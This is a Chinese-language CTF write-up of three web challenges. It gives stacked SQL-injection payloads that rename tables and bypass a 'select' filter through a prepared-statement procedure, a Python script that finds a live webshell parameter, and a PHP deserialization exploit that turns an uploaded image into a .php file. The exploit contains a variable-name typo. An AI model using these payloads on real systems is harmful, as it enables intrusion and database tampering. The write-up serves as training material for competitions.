随便注
如题名描述,是一道注入题。
Fuzz一下,发现
- 1.WAF
return preg_match("/select|update|delete|drop|insert|where|./i", $inject);- 2.通过报错注入出来的数据库名(supersqli)、用户等信息(果然是随便注)
猜测后台SQL语句应该为:
select * from supersqli.table_name where id='' ;
由于过滤了select关键词,无法自定义进行数据查询操作。
经过进一步的测试后发现可以堆叠注入,通过’;show tables from supersqli;#等payload可以得知flag存在于1919810931114514表的flag字段中。
这里还是由于select被过滤不能自定义查询内容,结合后台SQL语句,得出思路:将1919810931114514表改名为words,这样在后台SQL语句不变的情况下仍然可以查询得到flag的内容。
最终payload如下:
';ALTER TABLE `1919810931114514` ADD `id` INT(1) NOT NULL DEFAULT '1' AFTER `flag`;%23
(由于1919810931114514表中并没有id列,因此先添加id列)
';alter+table+`1919810931114514`+rename+to+`xxx`;alter+table+`words`+rename+to+`zzz`;alter+table+`xxx`+rename+to+`words`;%23
最后直接查询就可以得到原1919810931114514表中的内容。
赛后学习一波ChaMd5师傅的操作
1';create procedure vk()
begin
Set @v_sql=concat('sel','ect * from `1919810931114514`;');
Prepare stmt from @v_sql;
EXECUTE stmt;
deallocate Prepare stmt;
end;
call vk();-- -
高明的黑客
下载www.tar.gz后发现是3000多个“木马”文件。
简单审计一下发现虽然有很多命令执行的地方,但在此之前都已经将GET或POST参数赋空值,或者加上恒为假的if判断,于是乎写了个脚本提取每个文件中的GET、POST参数,在本地测试是否能够命令执行,最终在测试GET参数的过程中发现其中一个能用的shell并且获得其参数。
import requests
import re
import os
from time import sleep
flies = os.listdir('./src')
for i in flies:
url = 'http://127.0.0.1/src/'+i
f = open('./src/'+i)
data = f.read()
f.close()
reg = re.compile(r'(?<=_GET\[\').*(?=\'\])')
params = reg.findall(data)
for j in params:
payload = url + '/?' + j + '=echo 123456123456123456123456'
print payload
req=requests.get(payload)
if '123456123456123456123456' in req.content:
print payload
exit();
upload
下载备份文件www.tar.gz进行源码审计
漏洞点在Profile类中的upload_img()函数中:
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}
通过copy($this->filename_tmp, $this->filename);
就可以任意更改文件名了。
exp如下:
class Register
{
public $checker;
public $registed;
}
class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;
}
$check = new Register();
$check->registed=0;
$check->checker = new Profile();
$check->checker->except=array('index'=>'upload_img');
$check->checker->ext=1;
$check->checker->filename_tmp="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.png";
$check->checker->filename="./upload/98acc62aa02eda032d1caed497ce72a0/0412c29576c708cf0155e8de242169b1.php";
echo base64_encode(serialize($cheeck));